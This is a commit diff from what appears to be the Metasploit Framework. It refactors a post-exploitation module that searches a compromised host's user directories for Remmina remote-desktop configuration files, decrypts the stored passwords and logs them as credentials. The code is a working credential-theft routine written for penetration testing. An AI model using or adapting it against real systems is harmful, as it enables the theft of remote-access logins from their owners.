Convert Remmina credential gatherer to use new credentials model

bug/bundler_fix
Jon Hart 2014-10-08 12:32:52 -07:00
parent 5f1a1f8ed3
commit 875d1f9ea0
1 changed files with 31 additions and 24 deletions

View File

@ -28,14 +28,11 @@ class Metasploit3 < Msf::Post
end end
def run def run
creds = extract_all_creds creds_count = extract_all_creds
if creds.empty? if creds_count == 0
print_status('No Reminna credentials collected') print_status('No Reminna credentials collected')
else else
creds.each do |cred| print_good("Collected #{creds_count} sets of Remmina credentials")
report_auth_info(cred)
end
print_good("Collected #{creds.size} sets of Remmina credentials")
end end
end end
@ -57,7 +54,7 @@ class Metasploit3 < Msf::Post
# Extracts all remmina creds found anywhere on the target # Extracts all remmina creds found anywhere on the target
def extract_all_creds def extract_all_creds
creds = [] creds_count = 0
user_dirs = enum_user_directories user_dirs = enum_user_directories
if user_dirs.empty? if user_dirs.empty?
print_error('No user directories found') print_error('No user directories found')
@ -94,15 +91,15 @@ class Metasploit3 < Msf::Post
if cred_files.empty? if cred_files.empty?
vprint_status("No Remmina credential files in #{remmina_dir}") vprint_status("No Remmina credential files in #{remmina_dir}")
else else
creds |= extract_creds(secret, cred_files) creds_count += extract_creds(secret, cred_files)
end end
end end
end end
creds creds_count
end end
def extract_creds(secret, files) def extract_creds(secret, files)
creds = [] creds_count = 0
files.each do |file| files.each do |file|
settings = get_settings(file) settings = get_settings(file)
if settings.empty? if settings.empty?
@ -142,23 +139,33 @@ class Metasploit3 < Msf::Post
password = decrypt(secret, encrypted_password) password = decrypt(secret, encrypted_password)
end end
if host && user if host && user && password
creds << credential_core = create_credential(
{ origin_type: :session,
# this fails when the setting is localhost (uncommon, but it could happen) or when it is a simple string. huh? post_reference_name: self.refname,
# host: host, private_type: :password,
host: session.session_host, private_data: password,
port: port, session_id: session_db_id,
sname: proto.downcase, username: user,
user: user, workspace_id: myworkspace_id
pass: password, )
active: true login_data = {
} address: host,
port: port,
protocol: 'tcp',
service_name: proto.downcase,
core: credential_core,
access_level: 'User',
status: Metasploit::Model::Login::Status::UNTRIED,
workspace_id: myworkspace_id
}
create_credential_login(login_data)
creds_count += 1
else else
print_error("Didn't find host and user in #{file}") vprint_error("No host, user and password in #{file}")
end end
end end
creds creds_count
end end
def get_settings(file) def get_settings(file)